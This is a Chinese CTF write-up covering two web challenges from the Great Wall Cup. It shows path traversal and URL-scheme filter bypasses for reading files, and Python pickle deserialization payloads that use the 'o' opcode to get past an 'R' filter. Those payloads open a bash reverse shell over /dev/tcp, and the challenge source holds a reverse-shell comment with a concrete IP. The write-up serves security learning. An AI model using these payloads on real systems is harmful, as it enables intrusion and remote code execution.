• 长城杯CTF wp(web部分)


    0x00 java_url

    拿到题目,从题目看不出什么,只知道是java写的,反复试了下,发现download过滤了flag关键字,既然可以下载文件,试了下任意文件下载,读取到web.xml文件,从里面找到源码文件路径:

    download?filename=../../../../WEB-INF/web.xml
    

    在web.xml中看到com.test2.aaa1.download,急急忙忙去下载下来,看了半天没找出来漏洞,没看到上面那个真正有用的,错失flag,下面是从大佬博客挖过来的testURL关键源码:

      protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String tartget_url = req.getParameter("url");
        String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
        if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
          resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
        } else {
          //如果第一个:前不是file|gopher|data,可以实现任意文件读取
          resp.getWriter().write(String.valueOf(getContent(tartget_url)));
        } 
      }
    

    于是构造payload,读取flag:

    /testURL?url=url:file:///flag	# 常规绕过
    /testURL?url=%00file:///flag	# 抓包,%00截断
    

    0x01 ez_python

    题目描述给了环境,是用的flask,于是尝试SSTI,没有成功,于是换了个思路,尝试任意文件读取,成功:

    ?pic=/etc/passwd
    ?pic=/proc/self/cmdline		# 读取到当前工作目录:/app/app.py
    ?pic=/app/app.py			# 读取源码
    ?pic=/proc/self/cwd/app/app.py	 # 也可以用cwd切换到当前工作目录
    
    • /proc目录
      /proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。如果查看非当前进程的信息,可以对pid进行穷举,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。在cmdline中可以读取到当前进程的工作目录。

    app.py:

    import pickle
    import base64
    from flask import Flask, request
    from flask import render_template,redirect,send_from_directory
    import os
    import requests
    import random
    from flask import send_file
    
    app = Flask(__name__)
    
    class User():
        def __init__(self,name,age):
            self.name = name
            self.age = age
    
    def check(s):
        if b'R' in s:
            return 0
        return 1
    
    
    @app.route("/")
    def index():
        try:
            user = base64.b64decode(request.cookies.get('user'))
            if check(user):
                user = pickle.loads(user)
                username = user["username"]
            else:
                username = "bad,bad,hacker"
        except:
            username = "CTFer"
        pic = '{0}.jpg'.format(random.randint(1,7))
        
        try:
            pic=request.args.get('pic')
            with open(pic, 'rb') as f:
                base64_data = base64.b64encode(f.read())
                p = base64_data.decode()
        except:
            pic='{0}.jpg'.format(random.randint(1,7))
            with open(pic, 'rb') as f:
                base64_data = base64.b64encode(f.read())
                p = base64_data.decode()
    
        return render_template('index.html', uname=username, pic=p )
    
    
    if __name__ == "__main__":
        app.run('0.0.0.0',port=8888)# bash -i >& /dev/tcp/112.74.89.58/37051 0>&1
    

    可以发现,check函数过滤了R指令。于是学习了下Python的反序列化,不能说是一知半解,就只能说是一窍不通了,于是手写payload,使用'R'指令的常规版本:

    import pickle
    import base64
    import os
    
    s = b'''cos
    system
    (S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
    tR.
    '''
    payload = base64.b64encode(pickle.dumps(s))
    print(payload)
    
    # 把s拆出来讲一下:
    cos		# c<module>
    system	# <callable>
    -- 引入os模块中的system,并将其push到当前栈stack中
    (S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'	# (<args>
    -- 将当前栈stack存到前序栈metastack中,清空当前栈stack,再将String压入当前栈stack
    t
    -- 将当前栈中的值(也就是上面的命令)pop出来并转为tuple,把前序栈metastack还原到stack中,再将tuple压入当前栈stack
    R
    --pop当前栈stack栈顶记为args、pop当前栈stack的栈顶记为f,执行f(args),将结果压进当前栈stack中
    .	# tR.
    --.代表结束,返回当前栈顶元素
    

    但很明显,由于R指令被过滤,这样的payload会被服务器过滤,于是使用o指令绕过的版本:

    import pickle
    import base64
    import os
    
    s = b'''(cos
    system
    S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
    o.
    '''
    payload = base64.b64encode(pickle.dumps(s))
    print(payload)
    
    # 把s拆出来讲一下:
    (cos	# (c<module>
    system	# <callable>
    -- 引入os模块中的system,并将其push到前序栈stack中
    S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'	# <agrs>
    -- 将String压入前序栈metastack
    o
    -- 将前序栈metastack中的值push到栈stack中,并创建实例化对象os.system('bash ...')
    .	# o.
    --.代表结束,返回当前栈顶元素
    

    抓包,将payload写入到Cookie['user']中,反弹shell。

    0x03 参考文章

  • 相关阅读:
    基于 HTML5 WebGL 的发动机 3D 可视化系统
    基于 HTML + WebGL 结合 23D 的疫情地图实时大屏 PC 版
    用 HTML5 造个有诚意的 23D 招聘稿
    基于 HTML5 Canvas 的 3D 热力云图效果
    基于 HTML5 和 Canvas 实现的 3D 垃圾分类系统
    xcode10 改动
    __NSArrayI __NSArray0 __NSSingleObjectArrayI __NSPlaceholderArray __NSArrayM
    iOS开发之Found a swap file by the name ".podfile.swp" owned by: Netban dated:...file name: ~N...
    关于程序的测试
    ios the request was denied by service delegate for reason unspecified
  • 原文地址:https://www.cnblogs.com/tuzkizki/p/15332656.html
Copyright © 2020-2023  润新知